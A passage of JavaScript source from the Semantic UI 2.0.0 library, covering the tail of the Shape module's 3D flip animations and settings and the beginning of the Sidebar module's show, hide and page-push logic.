.addClass(className.hidden)\n              ;\n            });\n          }\n          else {\n            callback();\n          }\n        },\n\n        queue: function(method) {\n          module.debug('Queueing animation of', method);\n          $sides\n            .one(module.get.transitionEvent(), function() {\n              module.debug('Executing queued animation');\n              setTimeout(function(){\n                $module.shape(method);\n              }, 0);\n            })\n          ;\n        },\n\n        reset: function() {\n          module.verbose('Animating states reset');\n          $module\n            .removeClass(className.animating)\n            .attr('style', '')\n            .removeAttr('style')\n          ;\n          // removeAttr style does not consistently work in safari\n          $sides\n            .attr('style', '')\n            .removeAttr('style')\n          ;\n          $side\n            .attr('style', '')\n            .removeAttr('style')\n            .removeClass(className.hidden)\n          ;\n          $nextSide\n            .removeClass(className.animating)\n            .attr('style', '')\n            .removeAttr('style')\n          ;\n        },\n\n        is: {\n          complete: function() {\n            return ($side.filter('.' + className.active)[0] == $nextSide[0]);\n          },\n          animating: function() {\n            return $module.hasClass(className.animating);\n          }\n        },\n\n        set: {\n\n          defaultSide: function() {\n            $activeSide = $module.find('.' + settings.className.active);\n            $nextSide   = ( $activeSide.next(selector.side).length > 0 )\n              ? $activeSide.next(selector.side)\n              : $module.find(selector.side).first()\n            ;\n            nextIndex = false;\n            module.verbose('Active side set to', $activeSide);\n            module.verbose('Next side set to', $nextSide);\n          },\n\n          duration: function(duration) {\n            duration = duration || settings.duration;\n            duration = (typeof duration == 'number')\n              ? duration + 'ms'\n              : duration\n            ;\n            module.verbose('Setting animation duration', duration);\n            if(settings.duration || settings.duration === 0) {\n              $sides.add($side)\n                .css({\n                  '-webkit-transition-duration': duration,\n                  '-moz-transition-duration': duration,\n                  '-ms-transition-duration': duration,\n                  '-o-transition-duration': duration,\n                  'transition-duration': duration\n                })\n              ;\n            }\n          },\n\n          currentStageSize: function() {\n            var\n              $activeSide = $module.find('.' + settings.className.active),\n              width       = $activeSide.outerWidth(true),\n              height      = $activeSide.outerHeight(true)\n            ;\n            $module\n              .css({\n                width: width,\n                height: height\n              })\n            ;\n          },\n\n          stageSize: function() {\n            var\n              $clone      = $module.clone().addClass(className.loading),\n              $activeSide = $clone.find('.' + settings.className.active),\n              $nextSide   = (nextIndex)\n                ? $clone.find(selector.side).eq(nextIndex)\n                : ( $activeSide.next(selector.side).length > 0 )\n                  ? $activeSide.next(selector.side)\n                  : $clone.find(selector.side).first(),\n              newSize = {}\n            ;\n            module.set.currentStageSize();\n            $activeSide.removeClass(className.active);\n            $nextSide.addClass(className.active);\n            $clone.insertAfter($module);\n            newSize = {\n              width  : $nextSide.outerWidth(true),\n              height : $nextSide.outerHeight(true)\n            };\n            $clone.remove();\n            $module\n              .css(newSize)\n            ;\n            module.verbose('Resizing stage to fit new content', newSize);\n          },\n\n          nextSide: function(selector) {\n            nextIndex = selector;\n            $nextSide = $side.filter(selector);\n            nextIndex = $side.index($nextSide);\n            if($nextSide.length === 0) {\n              module.set.defaultSide();\n              module.error(error.side);\n            }\n            module.verbose('Next side manually set to', $nextSide);\n          },\n\n          active: function() {\n            module.verbose('Setting new side to active', $nextSide);\n            $side\n              .removeClass(className.active)\n            ;\n            $nextSide\n              .addClass(className.active)\n            ;\n            settings.onChange.call($nextSide[0]);\n            module.set.defaultSide();\n          }\n        },\n\n        flip: {\n\n          up: function() {\n            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {\n              module.debug('Side already visible', $nextSide);\n              return;\n            }\n            if( !module.is.animating()) {\n              module.debug('Flipping up', $nextSide);\n              module.set.stageSize();\n              module.stage.above();\n              module.animate( module.get.transform.up() );\n            }\n            else {\n              module.queue('flip up');\n            }\n          },\n\n          down: function() {\n            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {\n              module.debug('Side already visible', $nextSide);\n              return;\n            }\n            if( !module.is.animating()) {\n              module.debug('Flipping down', $nextSide);\n              module.set.stageSize();\n              module.stage.below();\n              module.animate( module.get.transform.down() );\n            }\n            else {\n              module.queue('flip down');\n            }\n          },\n\n          left: function() {\n            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {\n              module.debug('Side already visible', $nextSide);\n              return;\n            }\n            if( !module.is.animating()) {\n              module.debug('Flipping left', $nextSide);\n              module.set.stageSize();\n              module.stage.left();\n              module.animate(module.get.transform.left() );\n            }\n            else {\n              module.queue('flip left');\n            }\n          },\n\n          right: function() {\n            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {\n              module.debug('Side already visible', $nextSide);\n              return;\n            }\n            if( !module.is.animating()) {\n              module.debug('Flipping right', $nextSide);\n              module.set.stageSize();\n              module.stage.right();\n              module.animate(module.get.transform.right() );\n            }\n            else {\n              module.queue('flip right');\n            }\n          },\n\n          over: function() {\n            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {\n              module.debug('Side already visible', $nextSide);\n              return;\n            }\n            if( !module.is.animating()) {\n              module.debug('Flipping over', $nextSide);\n              module.set.stageSize();\n              module.stage.behind();\n              module.animate(module.get.transform.over() );\n            }\n            else {\n              module.queue('flip over');\n            }\n          },\n\n          back: function() {\n            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {\n              module.debug('Side already visible', $nextSide);\n              return;\n            }\n            if( !module.is.animating()) {\n              module.debug('Flipping back', $nextSide);\n              module.set.stageSize();\n              module.stage.behind();\n              module.animate(module.get.transform.back() );\n            }\n            else {\n              module.queue('flip back');\n            }\n          }\n\n        },\n\n        get: {\n\n          transform: {\n            up: function() {\n              var\n                translate = {\n                  y: -(($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2),\n                  z: -($activeSide.outerHeight(true) / 2)\n                }\n              ;\n              return {\n                transform: 'translateY(' + translate.y + 'px) translateZ('+ translate.z + 'px) rotateX(-90deg)'\n              };\n            },\n\n            down: function() {\n              var\n                translate = {\n                  y: -(($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2),\n                  z: -($activeSide.outerHeight(true) / 2)\n                }\n              ;\n              return {\n                transform: 'translateY(' + translate.y + 'px) translateZ('+ translate.z + 'px) rotateX(90deg)'\n              };\n            },\n\n            left: function() {\n              var\n                translate = {\n                  x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2),\n                  z : -($activeSide.outerWidth(true) / 2)\n                }\n              ;\n              return {\n                transform: 'translateX(' + translate.x + 'px) translateZ(' + translate.z + 'px) rotateY(90deg)'\n              };\n            },\n\n            right: function() {\n              var\n                translate = {\n                  x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2),\n                  z : -($activeSide.outerWidth(true) / 2)\n                }\n              ;\n              return {\n                transform: 'translateX(' + translate.x + 'px) translateZ(' + translate.z + 'px) rotateY(-90deg)'\n              };\n            },\n\n            over: function() {\n              var\n                translate = {\n                  x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2)\n                }\n              ;\n              return {\n                transform: 'translateX(' + translate.x + 'px) rotateY(180deg)'\n              };\n            },\n\n            back: function() {\n              var\n                translate = {\n                  x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2)\n                }\n              ;\n              return {\n                transform: 'translateX(' + translate.x + 'px) rotateY(-180deg)'\n              };\n            }\n          },\n\n          transitionEvent: function() {\n            var\n              element     = document.createElement('element'),\n              transitions = {\n                'transition'       :'transitionend',\n                'OTransition'      :'oTransitionEnd',\n                'MozTransition'    :'transitionend',\n                'WebkitTransition' :'webkitTransitionEnd'\n              },\n              transition\n            ;\n            for(transition in transitions){\n              if( element.style[transition] !== undefined ){\n                return transitions[transition];\n              }\n            }\n          },\n\n          nextSide: function() {\n            return ( $activeSide.next(selector.side).length > 0 )\n              ? $activeSide.next(selector.side)\n              : $module.find(selector.side).first()\n            ;\n          }\n\n        },\n\n        stage: {\n\n          above: function() {\n            var\n              box = {\n                origin : (($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2),\n                depth  : {\n                  active : ($nextSide.outerHeight(true) / 2),\n                  next   : ($activeSide.outerHeight(true) / 2)\n                }\n              }\n            ;\n            module.verbose('Setting the initial animation position as above', $nextSide, box);\n            $sides\n              .css({\n                'transform' : 'translateZ(-' + box.depth.active + 'px)'\n              })\n            ;\n            $activeSide\n              .css({\n                'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)'\n              })\n            ;\n            $nextSide\n              .addClass(className.animating)\n              .css({\n                'top'       : box.origin + 'px',\n                'transform' : 'rotateX(90deg) translateZ(' + box.depth.next + 'px)'\n              })\n            ;\n          },\n\n          below: function() {\n            var\n              box = {\n                origin : (($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2),\n                depth  : {\n                  active : ($nextSide.outerHeight(true) / 2),\n                  next   : ($activeSide.outerHeight(true) / 2)\n                }\n              }\n            ;\n            module.verbose('Setting the initial animation position as below', $nextSide, box);\n            $sides\n              .css({\n                'transform' : 'translateZ(-' + box.depth.active + 'px)'\n              })\n            ;\n            $activeSide\n              .css({\n                'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)'\n              })\n            ;\n            $nextSide\n              .addClass(className.animating)\n              .css({\n                'top'       : box.origin + 'px',\n                'transform' : 'rotateX(-90deg) translateZ(' + box.depth.next + 'px)'\n              })\n            ;\n          },\n\n          left: function() {\n            var\n              height = {\n                active : $activeSide.outerWidth(true),\n                next   : $nextSide.outerWidth(true)\n              },\n              box = {\n                origin : ( ( height.active - height.next ) / 2),\n                depth  : {\n                  active : (height.next / 2),\n                  next   : (height.active / 2)\n                }\n              }\n            ;\n            module.verbose('Setting the initial animation position as left', $nextSide, box);\n            $sides\n              .css({\n                'transform' : 'translateZ(-' + box.depth.active + 'px)'\n              })\n            ;\n            $activeSide\n              .css({\n                'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)'\n              })\n            ;\n            $nextSide\n              .addClass(className.animating)\n              .css({\n                'left'      : box.origin + 'px',\n                'transform' : 'rotateY(-90deg) translateZ(' + box.depth.next + 'px)'\n              })\n            ;\n          },\n\n          right: function() {\n            var\n              height = {\n                active : $activeSide.outerWidth(true),\n                next   : $nextSide.outerWidth(true)\n              },\n              box = {\n                origin : ( ( height.active - height.next ) / 2),\n                depth  : {\n                  active : (height.next / 2),\n                  next   : (height.active / 2)\n                }\n              }\n            ;\n            module.verbose('Setting the initial animation position as left', $nextSide, box);\n            $sides\n              .css({\n                'transform' : 'translateZ(-' + box.depth.active + 'px)'\n              })\n            ;\n            $activeSide\n              .css({\n                'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)'\n              })\n            ;\n            $nextSide\n              .addClass(className.animating)\n              .css({\n                'left'      : box.origin + 'px',\n                'transform' : 'rotateY(90deg) translateZ(' + box.depth.next + 'px)'\n              })\n            ;\n          },\n\n          behind: function() {\n            var\n              height = {\n                active : $activeSide.outerWidth(true),\n                next   : $nextSide.outerWidth(true)\n              },\n              box = {\n                origin : ( ( height.active - height.next ) / 2),\n                depth  : {\n                  active : (height.next / 2),\n                  next   : (height.active / 2)\n                }\n              }\n            ;\n            module.verbose('Setting the initial animation position as behind', $nextSide, box);\n            $activeSide\n              .css({\n                'transform' : 'rotateY(0deg)'\n              })\n            ;\n            $nextSide\n              .addClass(className.animating)\n              .css({\n                'left'      : box.origin + 'px',\n                'transform' : 'rotateY(-180deg)'\n              })\n            ;\n          }\n        },\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if($allModules.length > 1) {\n              title += ' ' + '(' + $allModules.length + ')';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.shape.settings = {\n\n  // module info\n  name : 'Shape',\n\n  // debug content outputted to console\n  debug      : false,\n\n  // verbose debug output\n  verbose    : false,\n\n  // performance data output\n  performance: true,\n\n  // event namespace\n  namespace  : 'shape',\n\n  // callback occurs on side change\n  beforeChange : function() {},\n  onChange     : function() {},\n\n  // allow animation to same side\n  allowRepeats: false,\n\n  // animation duration\n  duration   : false,\n\n  // possible errors\n  error: {\n    side   : 'You tried to switch to a side that does not exist.',\n    method : 'The method you called is not defined'\n  },\n\n  // classnames used\n  className   : {\n    animating : 'animating',\n    hidden    : 'hidden',\n    loading   : 'loading',\n    active    : 'active'\n  },\n\n  // selectors used\n  selector    : {\n    sides : '.sides',\n    side  : '.side'\n  }\n\n};\n\n\n})( jQuery, window , document );\n/*!\n * # Semantic UI 2.0.0 - Sidebar\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.sidebar = function(parameters) {\n  var\n    $allModules     = $(this),\n    $window         = $(window),\n    $document       = $(document),\n    $html           = $('html'),\n    $head           = $('head'),\n\n    moduleSelector  = $allModules.selector || '',\n\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n\n    requestAnimationFrame = window.requestAnimationFrame\n      || window.mozRequestAnimationFrame\n      || window.webkitRequestAnimationFrame\n      || window.msRequestAnimationFrame\n      || function(callback) { setTimeout(callback, 0); },\n\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings        = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.sidebar.settings, parameters)\n          : $.extend({}, $.fn.sidebar.settings),\n\n        selector        = settings.selector,\n        className       = settings.className,\n        namespace       = settings.namespace,\n        regExp          = settings.regExp,\n        error           = settings.error,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        $module         = $(this),\n        $context        = $(settings.context),\n\n        $sidebars       = $module.children(selector.sidebar),\n        $fixed          = $context.children(selector.fixed),\n        $pusher         = $context.children(selector.pusher),\n        $style,\n\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n\n        elementNamespace,\n        id,\n        currentScroll,\n        transitionEvent,\n\n        module\n      ;\n\n      module      = {\n\n        initialize: function() {\n          module.debug('Initializing sidebar', parameters);\n\n          module.create.id();\n\n          transitionEvent = module.get.transitionEvent();\n\n          if(module.is.ios()) {\n            module.set.ios();\n          }\n\n          // avoids locking rendering if initialized in onReady\n          if(settings.delaySetup) {\n            requestAnimationFrame(module.setup.layout);\n          }\n          else {\n            module.setup.layout();\n          }\n\n          requestAnimationFrame(function() {\n            module.setup.cache();\n          });\n\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        create: {\n          id: function() {\n            id = (Math.random().toString(16) + '000000000').substr(2,8);\n            elementNamespace = '.' + id;\n            module.verbose('Creating unique id for element', id);\n          }\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous module for', $module);\n          module.remove.direction();\n          $module\n            .off(eventNamespace)\n            .removeData(moduleNamespace)\n          ;\n          if(module.is.ios()) {\n            module.remove.ios();\n          }\n          // bound by uuid\n          $context.off(elementNamespace);\n          $window.off(elementNamespace);\n          $document.off(elementNamespace);\n        },\n\n        event: {\n          clickaway: function(event) {\n            var\n              clickedInPusher = ($pusher.find(event.target).length > 0 || $pusher.is(event.target)),\n              clickedContext  = ($context.is(event.target))\n            ;\n            if(clickedInPusher) {\n              module.verbose('User clicked on dimmed page');\n              module.hide();\n            }\n            if(clickedContext) {\n              module.verbose('User clicked on dimmable context (scaled out page)');\n              module.hide();\n            }\n          },\n          touch: function(event) {\n            //event.stopPropagation();\n          },\n          containScroll: function(event) {\n            if(element.scrollTop <= 0)  {\n              element.scrollTop = 1;\n            }\n            if((element.scrollTop + element.offsetHeight) >= element.scrollHeight) {\n              element.scrollTop = element.scrollHeight - element.offsetHeight - 1;\n            }\n          },\n          scroll: function(event) {\n            if( $(event.target).closest(selector.sidebar).length === 0 ) {\n              event.preventDefault();\n            }\n          }\n        },\n\n        bind: {\n          clickaway: function() {\n            module.verbose('Adding clickaway events to context', $context);\n            if(settings.closable) {\n              $context\n                .on('click'    + elementNamespace, module.event.clickaway)\n                .on('touchend' + elementNamespace, module.event.clickaway)\n              ;\n            }\n          },\n          scrollLock: function() {\n            if(settings.scrollLock) {\n              module.debug('Disabling page scroll');\n              $window\n                .on('DOMMouseScroll' + elementNamespace, module.event.scroll)\n              ;\n            }\n            module.verbose('Adding events to contain sidebar scroll');\n            $document\n              .on('touchmove' + elementNamespace, module.event.touch)\n            ;\n            $module\n              .on('scroll' + eventNamespace, module.event.containScroll)\n            ;\n          }\n        },\n        unbind: {\n          clickaway: function() {\n            module.verbose('Removing clickaway events from context', $context);\n            $context.off(elementNamespace);\n          },\n          scrollLock: function() {\n            module.verbose('Removing scroll lock from page');\n            $document.off(elementNamespace);\n            $window.off(elementNamespace);\n            $module.off('scroll' + eventNamespace);\n          }\n        },\n\n        add: {\n          inlineCSS: function() {\n            var\n              width     = module.cache.width  || $module.outerWidth(),\n              height    = module.cache.height || $module.outerHeight(),\n              isRTL     = module.is.rtl(),\n              direction = module.get.direction(),\n              distance  = {\n                left   : width,\n                right  : -width,\n                top    : height,\n                bottom : -height\n              },\n              style\n            ;\n\n            if(isRTL){\n              module.verbose('RTL detected, flipping widths');\n              distance.left = -width;\n              distance.right = width;\n            }\n\n            style  = '<style>';\n\n            if(direction === 'left' || direction === 'right') {\n              module.debug('Adding CSS rules for animation distance', width);\n              style  += ''\n                + ' .ui.visible.' + direction + '.sidebar ~ .fixed,'\n                + ' .ui.visible.' + direction + '.sidebar ~ .pusher {'\n                + '   -webkit-transform: translate3d('+ distance[direction] + 'px, 0, 0);'\n                + '           transform: translate3d('+ distance[direction] + 'px, 0, 0);'\n                + ' }'\n              ;\n            }\n            else if(direction === 'top' || direction == 'bottom') {\n              style  += ''\n                + ' .ui.visible.' + direction + '.sidebar ~ .fixed,'\n                + ' .ui.visible.' + direction + '.sidebar ~ .pusher {'\n                + '   -webkit-transform: translate3d(0, ' + distance[direction] + 'px, 0);'\n                + '           transform: translate3d(0, ' + distance[direction] + 'px, 0);'\n                + ' }'\n              ;\n            }\n\n            /* IE is only browser not to create context with transforms */\n            /* https://www.w3.org/Bugs/Public/show_bug.cgi?id=16328 */\n            if( module.is.ie() ) {\n              if(direction === 'left' || direction === 'right') {\n                module.debug('Adding CSS rules for animation distance', width);\n                style  += ''\n                  + ' body.pushable > .ui.visible.' + direction + '.sidebar ~ .pusher:after {'\n                  + '   -webkit-transform: translate3d('+ distance[direction] + 'px, 0, 0);'\n                  + '           transform: translate3d('+ distance[direction] + 'px, 0, 0);'\n                  + ' }'\n                ;\n              }\n              else if(direction === 'top' || direction == 'bottom') {\n                style  += ''\n                  + ' body.pushable > .ui.visible.' + direction + '.sidebar ~ .pusher:after {'\n                  + '   -webkit-transform: translate3d(0, ' + distance[direction] + 'px, 0);'\n                  + '           transform: translate3d(0, ' + distance[direction] + 'px, 0);'\n                  + ' }'\n                ;\n              }\n              /* opposite sides visible forces content overlay */\n              style += ''\n                + ' body.pushable > .ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher:after,'\n                + ' body.pushable > .ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher:after {'\n                + '   -webkit-transform: translate3d(0px, 0, 0);'\n                + '           transform: translate3d(0px, 0, 0);'\n                + ' }'\n              ;\n            }\n            style += '</style>';\n            $style = $(style)\n              .appendTo($head)\n            ;\n            module.debug('Adding sizing css to head', $style);\n          }\n        },\n\n        refresh: function() {\n          module.verbose('Refreshing selector cache');\n          $context  = $(settings.context);\n          $sidebars = $context.children(selector.sidebar);\n          $pusher   = $context.children(selector.pusher);\n          $fixed    = $context.children(selector.fixed);\n          module.clear.cache();\n        },\n\n        refreshSidebars: function() {\n          module.verbose('Refreshing other sidebars');\n          $sidebars = $context.children(selector.sidebar);\n        },\n\n        repaint: function() {\n          module.verbose('Forcing repaint event');\n          element.style.display = 'none';\n          var ignored = element.offsetHeight;\n          element.scrollTop = element.scrollTop;\n          element.style.display = '';\n        },\n\n        setup: {\n          cache: function() {\n            module.cache = {\n              width  : $module.outerWidth(),\n              height : $module.outerHeight(),\n              rtl    : ($module.css('direction') == 'rtl')\n            };\n          },\n          layout: function() {\n            if( $context.children(selector.pusher).length === 0 ) {\n              module.debug('Adding wrapper element for sidebar');\n              module.error(error.pusher);\n              $pusher = $('<div class=\"pusher\" />');\n              $context\n                .children()\n                  .not(selector.omitted)\n                  .not($sidebars)\n                  .wrapAll($pusher)\n              ;\n              module.refresh();\n            }\n            if($module.nextAll(selector.pusher).length === 0 || $module.nextAll(selector.pusher)[0] !== $pusher[0]) {\n              module.debug('Moved sidebar to correct parent element');\n              module.error(error.movedSidebar, element);\n              $module.detach().prependTo($context);\n              module.refresh();\n            }\n            module.clear.cache();\n            module.set.pushable();\n            module.set.direction();\n          }\n        },\n\n        attachEvents: function(selector, event) {\n          var\n            $toggle = $(selector)\n          ;\n          event = $.isFunction(module[event])\n            ? module[event]\n            : module.toggle\n          ;\n          if($toggle.length > 0) {\n            module.debug('Attaching sidebar events to element', selector, event);\n            $toggle\n              .on('click' + eventNamespace, event)\n            ;\n          }\n          else {\n            module.error(error.notFound, selector);\n          }\n        },\n\n        show: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if(module.is.hidden()) {\n            module.refreshSidebars();\n            if(settings.overlay)  {\n              module.error(error.overlay);\n              settings.transition = 'overlay';\n            }\n            module.refresh();\n            if(module.othersActive()) {\n              module.debug('Other sidebars currently visible');\n              if(settings.exclusive) {\n                // if not overlay queue animation after hide\n                if(settings.transition != 'overlay') {\n                  module.hideOthers(module.show);\n                  return;\n                }\n                else {\n                  module.hideOthers();\n                }\n              }\n              else {\n                settings.transition = 'overlay';\n              }\n            }\n            module.pushPage(function() {\n              callback.call(element);\n              settings.onShow.call(element);\n            });\n            settings.onChange.call(element);\n            settings.onVisible.call(element);\n          }\n          else {\n            module.debug('Sidebar is already visible');\n          }\n        },\n\n        hide: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if(module.is.visible() || module.is.animating()) {\n            module.debug('Hiding sidebar', callback);\n            module.refreshSidebars();\n            module.pullPage(function() {\n              callback.call(element);\n              settings.onHidden.call(element);\n            });\n            settings.onChange.call(element);\n            settings.onHide.call(element);\n          }\n        },\n\n        othersAnimating: function() {\n          return ($sidebars.not($module).filter('.' + className.animating).length > 0);\n        },\n        othersVisible: function() {\n          return ($sidebars.not($module).filter('.' + className.visible).length > 0);\n        },\n        othersActive: function() {\n          return(module.othersVisible() || module.othersAnimating());\n        },\n\n        hideOthers: function(callback) {\n          var\n            $otherSidebars = $sidebars.not($module).filter('.' + className.visible),\n            sidebarCount   = $otherSidebars.length,\n            callbackCount  = 0\n          ;\n          callback = callback || function(){};\n          $otherSidebars\n            .sidebar('hide', function() {\n              callbackCount++;\n              if(callbackCount == sidebarCount) {\n                callback();\n              }\n            })\n          ;\n        },\n\n        toggle: function() {\n          module.verbose('Determining toggled direction');\n          if(module.is.hidden()) {\n            module.show();\n          }\n          else {\n            module.hide();\n          }\n        },\n\n        pushPage: function(callback) {\n          var\n            transition = module.get.transition(),\n            $transition = (transition === 'overlay' || module.othersActive())\n              ? $module\n              : $pusher,\n            animate,\n            dim,\n            transitionEnd\n          ;\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if(settings.transition == 'scale down') {\n            module.scrollToTop();\n          }\n          module.set.transition(transition);\n          module.repaint();\n          animate = function() {\n            module.bind.clickaway();\n            module.add.inlineCSS();\n            module.set.animating();\n            module.set.visible();\n          };\n          dim = function() {\n            module.set.dimmed();\n          };\n          transitionEnd = function(event) {\n            if( event.target == $transition[0] ) {\n              $transition.off(transitionEvent + elementNamespace, transitionEnd);\n              module.remove.animating();\n              module.bind.scrollLock();\n              callback.call(element);\n            }\n          };\n          $transition.off(transitionEvent + elementNamespace);\n          $transition.on(transitionEvent + elementNamespace, transitionEnd);\n          requestAnimationFrame(animate);\n          if(settings.dimPage && !module.othersVisible()) {\n            requestAnimationFrame(dim);\n          }\n        },\n\n        pullPage: function(callback) {\n          var\n            transition = module.get.transition(),\n            $transition = (transition == 'overlay' || module.othersActive())\n              ? $module\n              : $pusher,\n            animate,\n            transitionEnd\n          ;\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          module.verbose('Removing context push state', module.get.direction());\n\n          module.unbind.clickaway();\n          module.unbind.scrollLock();\n\n          animate = function() {\n            module.set.transition(transition);\n            module.set.animating();\n            module.remove.visible();\n            if(settings.dimPage && !module.othersVisible()) {\n              $pusher.removeClass(className.dimmed);\n            }\n          };\n          transitionEnd = function(event) {\n            if( event.target == $transition[0] ) {\n              $transition.off(transitionEvent + elementNamespace, transitionEnd);\n              module.remove.animating();\n              module.remove.transition();\n              module.remove.inlineCSS();\n              if(transition == 'scale down' || (settings.returnScroll && module.is.mobile()) ) {\n                module.scrollBack();\n              }\n              callback.call(element);\n            }\n          };\n          $transition.off(transitionEvent + elementNamespace);\n          $transition.on(transitionEvent + elementNamespace, transitionEnd);\n          requestAnimationFrame(animate);\n        },\n\n        scrollToTop: function() {\n          module.verbose('Scrolling to top of page to avoid animation issues');\n          currentScroll = $(window).scrollTop();\n          $module.scrollTop(0);\n          window.scrollTo(0, 0);\n        },\n\n        scrollBack: function() {\n          module.verbose('Scrolling back to original page position');\n          window.scrollTo(0, currentScroll);\n        },\n\n        clear: {\n          cache: function() {\n            module.verbose('Clearing cached dimensions');\n            module.cache = {};\n          }\n        },\n\n        set: {\n\n          // ios only (scroll on html not document). This prevent auto-resize canvas/scroll in ios\n          ios: function() {\n            $html.addClass(className.ios);\n          },\n\n          // container\n          pushed: function() {\n            $context.addClass(className.pushed);\n          },\n          pushable: function() {\n            $context.addClass(className.pushable);\n          },\n\n          // pusher\n          dimmed: function() {\n            $pusher.addClass(className.dimmed);\n          },\n\n          // sidebar\n          active: function() {\n            $module.addClass(className.active);\n          },\n          animating: function() {\n            $module.addClass(className.animating);\n          },\n          transition: function(transition) {\n            transition = transition || module.get.transition();\n            $module.addClass(transition);\n          